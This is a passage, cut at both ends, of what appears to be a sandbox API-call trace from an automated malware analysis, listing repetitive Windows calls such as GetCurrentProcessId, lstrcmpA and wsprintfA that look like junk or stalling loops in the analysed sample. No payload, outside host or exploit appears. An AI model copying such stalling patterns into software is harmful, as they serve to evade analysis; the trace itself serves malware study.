() returned 0x81c [0050.874] lstrlenA (lpString="just string") returned 11 [0050.874] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.874] GetLastError () returned 0x12 [0050.874] GetLastError () returned 0x12 [0050.874] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.874] SetLastError (dwErrCode=0x12) [0050.874] GetCurrentProcess () returned 0xffffffff [0050.874] GetLastError () returned 0x12 [0050.874] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21DEEP") returned 6 [0050.874] SetLastError (dwErrCode=0x12) [0050.874] GetCurrentProcessId () returned 0x81c [0050.874] GetCurrentProcess () returned 0xffffffff [0050.874] GetLastError () returned 0x12 [0050.874] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21DEFP") returned 6 [0050.874] SetLastError (dwErrCode=0x12) [0050.874] GetCurrentProcessId () returned 0x81c [0050.874] GetLastError () returned 0x12 [0050.874] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21DF0P") returned 6 [0050.874] SetLastError (dwErrCode=0x12) [0050.874] GetCurrentProcessId () returned 0x81c [0050.874] GetCurrentProcessId () returned 0x81c [0050.874] GetCurrentProcessId () returned 0x81c [0050.874] GetCurrentProcessId () returned 0x81c [0050.874] lstrlenA (lpString="just string") returned 11 [0050.874] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.874] GetLastError () returned 0x12 [0050.874] GetCurrentProcessId () returned 0x81c [0050.874] GetCurrentProcessId () returned 0x81c [0050.874] GetCurrentProcessId () returned 0x81c [0050.874] lstrlenA (lpString="just string") returned 11 [0050.874] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.874] GetLastError () returned 0x12 [0050.874] GetLastError () returned 0x12 [0050.874] GetLastError () returned 0x12 [0050.875] GetLastError () returned 0x12 [0050.875] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.875] SetLastError (dwErrCode=0x12) [0050.875] GetCurrentProcess () returned 0xffffffff [0050.875] GetLastError () returned 0x12 [0050.875] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21E84P") returned 6 [0050.875] SetLastError (dwErrCode=0x12) [0050.875] GetCurrentProcessId () returned 0x81c [0050.875] GetCurrentProcess () returned 0xffffffff [0050.875] GetLastError () returned 0x12 [0050.875] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21E85P") returned 6 [0050.875] SetLastError (dwErrCode=0x12) [0050.875] GetCurrentProcessId () returned 0x81c [0050.875] GetLastError () returned 0x12 [0050.875] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21E86P") returned 6 [0050.875] SetLastError (dwErrCode=0x12) [0050.875] GetCurrentProcessId () returned 0x81c [0050.875] GetCurrentProcessId () returned 0x81c [0050.875] GetCurrentProcessId () returned 0x81c [0050.875] GetCurrentProcessId () returned 0x81c [0050.875] lstrlenA (lpString="just string") returned 11 [0050.875] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.875] GetLastError () returned 0x12 [0050.875] GetCurrentProcessId () returned 0x81c [0050.875] GetCurrentProcessId () returned 0x81c [0050.875] lstrlenA (lpString="just string") returned 11 [0050.875] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.875] GetLastError () returned 0x12 [0050.875] lstrlenA (lpString="just string") returned 11 [0050.875] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.875] GetLastError () returned 0x12 [0050.875] GetCurrentProcessId () returned 0x81c [0050.875] GetCurrentProcessId () returned 0x81c [0050.875] GetCurrentProcessId () returned 0x81c [0050.875] lstrlenA (lpString="just string") returned 11 [0050.875] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.875] GetLastError () returned 0x12 [0050.875] GetCurrentProcess () returned 0xffffffff [0050.875] GetLastError () returned 0x12 [0050.875] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21ED5P") returned 6 [0050.875] SetLastError (dwErrCode=0x12) [0050.875] GetCurrentProcessId () returned 0x81c [0050.875] GetLastError () returned 0x12 [0050.875] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21ED6P") returned 6 [0050.875] SetLastError (dwErrCode=0x12) [0050.875] GetCurrentProcessId () returned 0x81c [0050.875] GetCurrentProcessId () returned 0x81c [0050.875] GetCurrentProcessId () returned 0x81c [0050.875] GetCurrentProcessId () returned 0x81c [0050.875] lstrlenA (lpString="just string") returned 11 [0050.875] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.875] GetLastError () returned 0x12 [0050.875] GetCurrentProcessId () returned 0x81c [0050.875] GetCurrentProcessId () returned 0x81c [0050.875] GetCurrentProcessId () returned 0x81c [0050.875] lstrlenA (lpString="just string") returned 11 [0050.875] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.875] GetLastError () returned 0x12 [0050.875] GetLastError () returned 0x12 [0050.875] GetCurrentProcessId () returned 0x81c [0050.875] GetCurrentProcessId () returned 0x81c [0050.875] GetCurrentProcessId () returned 0x81c [0050.876] lstrlenA (lpString="just string") returned 11 [0050.876] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.876] GetLastError () returned 0x12 [0050.876] GetLastError () returned 0x12 [0050.876] GetCurrentProcessId () returned 0x81c [0050.876] lstrlenA (lpString="just string") returned 11 [0050.876] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.876] GetLastError () returned 0x12 [0050.876] GetLastError () returned 0x12 [0050.876] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.876] SetLastError (dwErrCode=0x12) [0050.876] GetCurrentProcess () returned 0xffffffff [0050.876] GetLastError () returned 0x12 [0050.876] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21FF6P") returned 6 [0050.876] SetLastError (dwErrCode=0x12) [0050.876] GetCurrentProcessId () returned 0x81c [0050.876] GetCurrentProcess () returned 0xffffffff [0050.876] GetLastError () returned 0x12 [0050.876] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21FF7P") returned 6 [0050.876] SetLastError (dwErrCode=0x12) [0050.876] GetCurrentProcessId () returned 0x81c [0050.876] GetLastError () returned 0x12 [0050.876] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21FF8P") returned 6 [0050.876] SetLastError (dwErrCode=0x12) [0050.876] GetCurrentProcessId () returned 0x81c [0050.876] GetCurrentProcessId () returned 0x81c [0050.876] GetCurrentProcessId () returned 0x81c [0050.876] GetCurrentProcessId () returned 0x81c [0050.876] lstrlenA (lpString="just string") returned 11 [0050.876] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.876] GetLastError () returned 0x12 [0050.876] GetCurrentProcess () returned 0xffffffff [0050.876] GetLastError () returned 0x12 [0050.876] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2203DP") returned 6 [0050.876] SetLastError (dwErrCode=0x12) [0050.876] GetCurrentProcessId () returned 0x81c [0050.876] GetLastError () returned 0x12 [0050.876] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2203EP") returned 6 [0050.876] SetLastError (dwErrCode=0x12) [0050.876] GetCurrentProcessId () returned 0x81c [0050.876] GetCurrentProcessId () returned 0x81c [0050.876] GetCurrentProcessId () returned 0x81c [0050.876] GetCurrentProcessId () returned 0x81c [0050.876] lstrlenA (lpString="just string") returned 11 [0050.876] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.876] GetLastError () returned 0x12 [0050.876] GetLastError () returned 0x12 [0050.876] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22084P") returned 6 [0050.876] SetLastError (dwErrCode=0x12) [0050.876] GetCurrentProcessId () returned 0x81c [0050.876] GetCurrentProcessId () returned 0x81c [0050.876] GetCurrentProcessId () returned 0x81c [0050.876] GetCurrentProcessId () returned 0x81c [0050.876] lstrlenA (lpString="just string") returned 11 [0050.876] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.876] GetLastError () returned 0x12 [0050.876] GetCurrentProcess () returned 0xffffffff [0050.876] GetLastError () returned 0x12 [0050.876] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="220ABP") returned 6 [0050.876] SetLastError (dwErrCode=0x12) [0050.876] GetCurrentProcessId () returned 0x81c [0050.876] GetLastError () returned 0x12 [0050.877] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="220ACP") returned 6 [0050.877] SetLastError (dwErrCode=0x12) [0050.877] GetCurrentProcessId () returned 0x81c [0050.877] GetCurrentProcessId () returned 0x81c [0050.877] GetCurrentProcessId () returned 0x81c [0050.877] GetCurrentProcessId () returned 0x81c [0050.877] lstrlenA (lpString="just string") returned 11 [0050.877] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.877] GetLastError () returned 0x12 [0050.877] GetLastError () returned 0x12 [0050.877] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.877] SetLastError (dwErrCode=0x12) [0050.877] GetCurrentProcess () returned 0xffffffff [0050.877] GetLastError () returned 0x12 [0050.877] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="220D2P") returned 6 [0050.877] SetLastError (dwErrCode=0x12) [0050.877] GetCurrentProcessId () returned 0x81c [0050.877] GetCurrentProcess () returned 0xffffffff [0050.877] GetLastError () returned 0x12 [0050.877] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="220D3P") returned 6 [0050.877] SetLastError (dwErrCode=0x12) [0050.877] GetCurrentProcessId () returned 0x81c [0050.877] GetLastError () returned 0x12 [0050.877] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="220D4P") returned 6 [0050.877] SetLastError (dwErrCode=0x12) [0050.877] GetCurrentProcessId () returned 0x81c [0050.877] GetCurrentProcessId () returned 0x81c [0050.877] GetCurrentProcessId () returned 0x81c [0050.877] GetCurrentProcessId () returned 0x81c [0050.877] lstrlenA (lpString="just string") returned 11 [0050.877] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.877] GetLastError () returned 0x12 [0050.877] GetCurrentProcess () returned 0xffffffff [0050.877] GetLastError () returned 0x12 [0050.877] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="220F1P") returned 6 [0050.877] SetLastError (dwErrCode=0x12) [0050.877] GetCurrentProcessId () returned 0x81c [0050.877] GetLastError () returned 0x12 [0050.877] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="220F2P") returned 6 [0050.877] SetLastError (dwErrCode=0x12) [0050.877] GetCurrentProcessId () returned 0x81c [0050.877] GetCurrentProcessId () returned 0x81c [0050.877] GetCurrentProcessId () returned 0x81c [0050.877] GetCurrentProcessId () returned 0x81c [0050.877] lstrlenA (lpString="just string") returned 11 [0050.877] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.877] GetLastError () returned 0x12 [0050.877] GetLastError () returned 0x12 [0050.877] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2212EP") returned 6 [0050.877] SetLastError (dwErrCode=0x12) [0050.877] GetCurrentProcessId () returned 0x81c [0050.877] GetCurrentProcessId () returned 0x81c [0050.877] GetCurrentProcessId () returned 0x81c [0050.877] GetCurrentProcessId () returned 0x81c [0050.877] lstrlenA (lpString="just string") returned 11 [0050.877] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.877] GetLastError () returned 0x12 [0050.877] GetLastError () returned 0x12 [0050.877] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.877] SetLastError (dwErrCode=0x12) [0050.878] GetCurrentProcess () returned 0xffffffff [0050.878] GetLastError () returned 0x12 [0050.878] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22136P") returned 6 [0050.878] SetLastError (dwErrCode=0x12) [0050.878] GetCurrentProcessId () returned 0x81c [0050.878] GetCurrentProcess () returned 0xffffffff [0050.878] GetLastError () returned 0x12 [0050.878] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22137P") returned 6 [0050.878] SetLastError (dwErrCode=0x12) [0050.878] GetCurrentProcessId () returned 0x81c [0050.878] GetLastError () returned 0x12 [0050.878] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22138P") returned 6 [0050.878] SetLastError (dwErrCode=0x12) [0050.878] GetCurrentProcessId () returned 0x81c [0050.878] GetCurrentProcessId () returned 0x81c [0050.878] GetCurrentProcessId () returned 0x81c [0050.878] GetCurrentProcessId () returned 0x81c [0050.878] lstrlenA (lpString="just string") returned 11 [0050.878] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.878] GetLastError () returned 0x12 [0050.878] GetLastError () returned 0x12 [0050.878] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.878] SetLastError (dwErrCode=0x12) [0050.878] GetCurrentProcess () returned 0xffffffff [0050.878] GetLastError () returned 0x12 [0050.878] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22140P") returned 6 [0050.878] SetLastError (dwErrCode=0x12) [0050.878] GetCurrentProcessId () returned 0x81c [0050.878] GetCurrentProcess () returned 0xffffffff [0050.878] GetLastError () returned 0x12 [0050.878] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22141P") returned 6 [0050.878] SetLastError (dwErrCode=0x12) [0050.878] GetCurrentProcessId () returned 0x81c [0050.878] GetLastError () returned 0x12 [0050.878] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22142P") returned 6 [0050.878] SetLastError (dwErrCode=0x12) [0050.878] GetCurrentProcessId () returned 0x81c [0050.878] GetCurrentProcessId () returned 0x81c [0050.878] GetCurrentProcessId () returned 0x81c [0050.878] GetCurrentProcessId () returned 0x81c [0050.878] lstrlenA (lpString="just string") returned 11 [0050.878] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.878] GetLastError () returned 0x12 [0050.878] GetCurrentProcessId () returned 0x81c [0050.878] GetCurrentProcessId () returned 0x81c [0050.878] lstrlenA (lpString="just string") returned 11 [0050.878] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.878] GetLastError () returned 0x12 [0050.878] GetLastError () returned 0x12 [0050.878] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="221BAP") returned 6 [0050.878] SetLastError (dwErrCode=0x12) [0050.878] GetCurrentProcessId () returned 0x81c [0050.878] GetCurrentProcessId () returned 0x81c [0050.879] GetCurrentProcessId () returned 0x81c [0050.879] GetCurrentProcessId () returned 0x81c [0050.879] lstrlenA (lpString="just string") returned 11 [0050.879] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.879] GetLastError () returned 0x12 [0050.879] GetCurrentProcessId () returned 0x81c [0050.879] GetCurrentProcessId () returned 0x81c [0050.879] lstrlenA (lpString="just string") returned 11 [0050.879] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.879] GetLastError () returned 0x12 [0050.879] GetLastError () returned 0x12 [0050.879] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.879] SetLastError (dwErrCode=0x12) [0050.879] GetCurrentProcess () returned 0xffffffff [0050.879] GetLastError () returned 0x12 [0050.879] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2221CP") returned 6 [0050.879] SetLastError (dwErrCode=0x12) [0050.879] GetCurrentProcessId () returned 0x81c [0050.879] GetCurrentProcess () returned 0xffffffff [0050.879] GetLastError () returned 0x12 [0050.879] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2221DP") returned 6 [0050.879] SetLastError (dwErrCode=0x12) [0050.879] GetCurrentProcessId () returned 0x81c [0050.879] GetLastError () returned 0x12 [0050.879] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2221EP") returned 6 [0050.879] SetLastError (dwErrCode=0x12) [0050.879] GetCurrentProcessId () returned 0x81c [0050.879] GetCurrentProcessId () returned 0x81c [0050.879] GetCurrentProcessId () returned 0x81c [0050.879] GetCurrentProcessId () returned 0x81c [0050.879] lstrlenA (lpString="just string") returned 11 [0050.879] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.879] GetLastError () returned 0x12 [0050.879] GetCurrentProcessId () returned 0x81c [0050.879] GetCurrentProcessId () returned 0x81c [0050.879] GetCurrentProcessId () returned 0x81c [0050.879] lstrlenA (lpString="just string") returned 11 [0050.879] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.879] GetLastError () returned 0x12 [0050.879] GetCurrentProcessId () returned 0x81c [0050.879] lstrlenA (lpString="just string") returned 11 [0050.879] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.879] GetLastError () returned 0x12 [0050.879] GetLastError () returned 0x12 [0050.879] GetLastError () returned 0x12 [0050.880] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.880] SetLastError (dwErrCode=0x12) [0050.880] GetCurrentProcess () returned 0xffffffff [0050.880] GetLastError () returned 0x12 [0050.880] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2229EP") returned 6 [0050.880] SetLastError (dwErrCode=0x12) [0050.880] GetCurrentProcessId () returned 0x81c [0050.880] GetCurrentProcess () returned 0xffffffff [0050.880] GetLastError () returned 0x12 [0050.880] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2229FP") returned 6 [0050.880] SetLastError (dwErrCode=0x12) [0050.880] GetCurrentProcessId () returned 0x81c [0050.880] GetLastError () returned 0x12 [0050.880] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="222A0P") returned 6 [0050.880] SetLastError (dwErrCode=0x12) [0050.880] GetCurrentProcessId () returned 0x81c [0050.880] GetCurrentProcessId () returned 0x81c [0050.880] GetCurrentProcessId () returned 0x81c [0050.880] GetCurrentProcessId () returned 0x81c [0050.880] lstrlenA (lpString="just string") returned 11 [0050.880] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.880] GetLastError () returned 0x12 [0050.880] GetLastError () returned 0x12 [0050.880] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="222D2P") returned 6 [0050.880] SetLastError (dwErrCode=0x12) [0050.880] GetCurrentProcessId () returned 0x81c [0050.880] GetCurrentProcessId () returned 0x81c [0050.880] GetCurrentProcessId () returned 0x81c [0050.880] GetCurrentProcessId () returned 0x81c [0050.880] lstrlenA (lpString="just string") returned 11 [0050.880] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.880] GetLastError () returned 0x12 [0050.880] GetLastError () returned 0x12 [0050.880] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.880] SetLastError (dwErrCode=0x12) [0050.880] GetCurrentProcess () returned 0xffffffff [0050.880] GetLastError () returned 0x12 [0050.880] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2230CP") returned 6 [0050.880] SetLastError (dwErrCode=0x12) [0050.880] GetCurrentProcessId () returned 0x81c [0050.880] GetCurrentProcess () returned 0xffffffff [0050.880] GetLastError () returned 0x12 [0050.880] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2230DP") returned 6 [0050.880] SetLastError (dwErrCode=0x12) [0050.881] GetCurrentProcessId () returned 0x81c [0050.881] GetLastError () returned 0x12 [0050.881] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2230EP") returned 6 [0050.881] SetLastError (dwErrCode=0x12) [0050.881] GetCurrentProcessId () returned 0x81c [0050.881] GetCurrentProcessId () returned 0x81c [0050.881] GetCurrentProcessId () returned 0x81c [0050.881] GetCurrentProcessId () returned 0x81c [0050.881] lstrlenA (lpString="just string") returned 11 [0050.881] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.881] GetLastError () returned 0x12 [0050.881] GetLastError () returned 0x12 [0050.881] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.881] SetLastError (dwErrCode=0x12) [0050.881] GetCurrentProcess () returned 0xffffffff [0050.881] GetLastError () returned 0x12 [0050.881] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2232AP") returned 6 [0050.881] SetLastError (dwErrCode=0x12) [0050.881] GetCurrentProcessId () returned 0x81c [0050.881] GetCurrentProcess () returned 0xffffffff [0050.881] GetLastError () returned 0x12 [0050.881] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2232BP") returned 6 [0050.881] SetLastError (dwErrCode=0x12) [0050.881] GetCurrentProcessId () returned 0x81c [0050.881] GetLastError () returned 0x12 [0050.881] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2232CP") returned 6 [0050.881] SetLastError (dwErrCode=0x12) [0050.881] GetCurrentProcessId () returned 0x81c [0050.881] GetCurrentProcessId () returned 0x81c [0050.881] GetCurrentProcessId () returned 0x81c [0050.881] GetCurrentProcessId () returned 0x81c [0050.881] lstrlenA (lpString="just string") returned 11 [0050.881] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.881] GetLastError () returned 0x12 [0050.881] GetLastError () returned 0x12 [0050.881] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.881] SetLastError (dwErrCode=0x12) [0050.881] GetCurrentProcess () returned 0xffffffff [0050.881] GetLastError () returned 0x12 [0050.881] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22370P") returned 6 [0050.881] SetLastError (dwErrCode=0x12) [0050.881] GetCurrentProcessId () returned 0x81c [0050.881] GetCurrentProcess () returned 0xffffffff [0050.881] GetLastError () returned 0x12 [0050.881] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22371P") returned 6 [0050.881] SetLastError (dwErrCode=0x12) [0050.881] GetCurrentProcessId () returned 0x81c [0050.881] GetLastError () returned 0x12 [0050.881] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22372P") returned 6 [0050.881] SetLastError (dwErrCode=0x12) [0050.881] GetCurrentProcessId () returned 0x81c [0050.881] GetCurrentProcessId () returned 0x81c [0050.881] GetCurrentProcessId () returned 0x81c [0050.881] GetCurrentProcessId () returned 0x81c [0050.881] lstrlenA (lpString="just string") returned 11 [0050.881] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.881] GetLastError () returned 0x12 [0050.882] lstrlenA (lpString="just string") returned 11 [0050.882] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.882] GetLastError () returned 0x12 [0050.882] GetCurrentProcessId () returned 0x81c [0050.882] GetCurrentProcessId () returned 0x81c [0050.883] lstrlenA (lpString="just string") returned 11 [0050.883] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.883] GetLastError () returned 0x12 [0050.883] lstrlenA (lpString="just string") returned 11 [0050.883] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.883] GetLastError () returned 0x12 [0050.883] GetLastError () returned 0x12 [0050.883] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.883] SetLastError (dwErrCode=0x12) [0050.883] GetCurrentProcess () returned 0xffffffff [0050.883] GetLastError () returned 0x12 [0050.883] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="223C0P") returned 6 [0050.883] SetLastError (dwErrCode=0x12) [0050.883] GetCurrentProcessId () returned 0x81c [0050.883] GetCurrentProcess () returned 0xffffffff [0050.883] GetLastError () returned 0x12 [0050.883] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="223C1P") returned 6 [0050.883] SetLastError (dwErrCode=0x12) [0050.883] GetCurrentProcessId () returned 0x81c [0050.883] GetLastError () returned 0x12 [0050.883] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="223C2P") returned 6 [0050.883] SetLastError (dwErrCode=0x12) [0050.883] GetCurrentProcessId () returned 0x81c [0050.883] GetCurrentProcessId () returned 0x81c [0050.883] GetCurrentProcessId () returned 0x81c [0050.883] GetCurrentProcessId () returned 0x81c [0050.883] lstrlenA (lpString="just string") returned 11 [0050.883] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.883] GetLastError () returned 0x12 [0050.883] GetCurrentProcessId () returned 0x81c [0050.883] lstrlenA (lpString="just string") returned 11 [0050.883] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.883] GetLastError () returned 0x12 [0050.883] lstrlenA (lpString="just string") returned 11 [0050.883] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.883] GetLastError () returned 0x12 [0050.883] GetLastError () returned 0x12 [0050.883] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.883] SetLastError (dwErrCode=0x12) [0050.883] GetCurrentProcess () returned 0xffffffff [0050.883] GetLastError () returned 0x12 [0050.883] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22456P") returned 6 [0050.883] SetLastError (dwErrCode=0x12) [0050.883] GetCurrentProcessId () returned 0x81c [0050.883] GetCurrentProcess () returned 0xffffffff [0050.883] GetLastError () returned 0x12 [0050.883] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22457P") returned 6 [0050.883] SetLastError (dwErrCode=0x12) [0050.883] GetCurrentProcessId () returned 0x81c [0050.883] GetLastError () returned 0x12 [0050.883] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22458P") returned 6 [0050.883] SetLastError (dwErrCode=0x12) [0050.883] GetCurrentProcessId () returned 0x81c [0050.883] GetCurrentProcessId () returned 0x81c [0050.883] GetCurrentProcessId () returned 0x81c [0050.883] GetCurrentProcessId () returned 0x81c [0050.883] lstrlenA (lpString="just string") returned 11 [0050.883] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.884] GetLastError () returned 0x12 [0050.884] lstrlenA (lpString="just string") returned 11 [0050.884] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.884] GetLastError () returned 0x12 [0050.884] GetCurrentProcessId () returned 0x81c [0050.884] GetCurrentProcessId () returned 0x81c [0050.884] GetCurrentProcessId () returned 0x81c [0050.884] lstrlenA (lpString="just string") returned 11 [0050.884] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.884] GetLastError () returned 0x12 [0050.884] GetCurrentProcess () returned 0xffffffff [0050.884] GetLastError () returned 0x12 [0050.884] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22501P") returned 6 [0050.884] SetLastError (dwErrCode=0x12) [0050.884] GetCurrentProcessId () returned 0x81c [0050.884] GetLastError () returned 0x12 [0050.884] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22502P") returned 6 [0050.884] SetLastError (dwErrCode=0x12) [0050.884] GetCurrentProcessId () returned 0x81c [0050.884] GetCurrentProcessId () returned 0x81c [0050.884] GetCurrentProcessId () returned 0x81c [0050.884] GetCurrentProcessId () returned 0x81c [0050.884] lstrlenA (lpString="just string") returned 11 [0050.884] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.884] GetLastError () returned 0x12 [0050.884] GetLastError () returned 0x12 [0050.884] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2252AP") returned 6 [0050.884] SetLastError (dwErrCode=0x12) [0050.884] GetCurrentProcessId () returned 0x81c [0050.884] GetCurrentProcessId () returned 0x81c [0050.884] GetCurrentProcessId () returned 0x81c [0050.884] GetCurrentProcessId () returned 0x81c [0050.884] lstrlenA (lpString="just string") returned 11 [0050.884] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.884] GetLastError () returned 0x12 [0050.884] GetLastError () returned 0x12 [0050.884] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22566P") returned 6 [0050.884] SetLastError (dwErrCode=0x12) [0050.884] GetCurrentProcessId () returned 0x81c [0050.884] GetCurrentProcessId () returned 0x81c [0050.884] GetCurrentProcessId () returned 0x81c [0050.884] GetCurrentProcessId () returned 0x81c [0050.884] lstrlenA (lpString="just string") returned 11 [0050.884] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.884] GetLastError () returned 0x12 [0050.884] GetCurrentProcess () returned 0xffffffff [0050.884] GetLastError () returned 0x12 [0050.884] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2258DP") returned 6 [0050.884] SetLastError (dwErrCode=0x12) [0050.884] GetCurrentProcessId () returned 0x81c [0050.884] GetLastError () returned 0x12 [0050.884] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2258EP") returned 6 [0050.884] SetLastError (dwErrCode=0x12) [0050.884] GetCurrentProcessId () returned 0x81c [0050.884] GetCurrentProcessId () returned 0x81c [0050.884] GetCurrentProcessId () returned 0x81c [0050.884] GetCurrentProcessId () returned 0x81c [0050.884] lstrlenA (lpString="just string") returned 11 [0050.884] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.884] GetLastError () returned 0x12 [0050.884] GetCurrentProcessId () returned 0x81c [0050.884] lstrlenA (lpString="just string") returned 11 [0050.884] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.884] GetLastError () returned 0x12 [0050.884] GetLastError () returned 0x12 [0050.885] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.885] SetLastError (dwErrCode=0x12) [0050.885] GetCurrentProcess () returned 0xffffffff [0050.885] GetLastError () returned 0x12 [0050.885] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="225F0P") returned 6 [0050.885] SetLastError (dwErrCode=0x12) [0050.885] GetCurrentProcessId () returned 0x81c [0050.885] GetCurrentProcess () returned 0xffffffff [0050.885] GetLastError () returned 0x12 [0050.885] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="225F1P") returned 6 [0050.885] SetLastError (dwErrCode=0x12) [0050.885] GetCurrentProcessId () returned 0x81c [0050.885] GetLastError () returned 0x12 [0050.885] 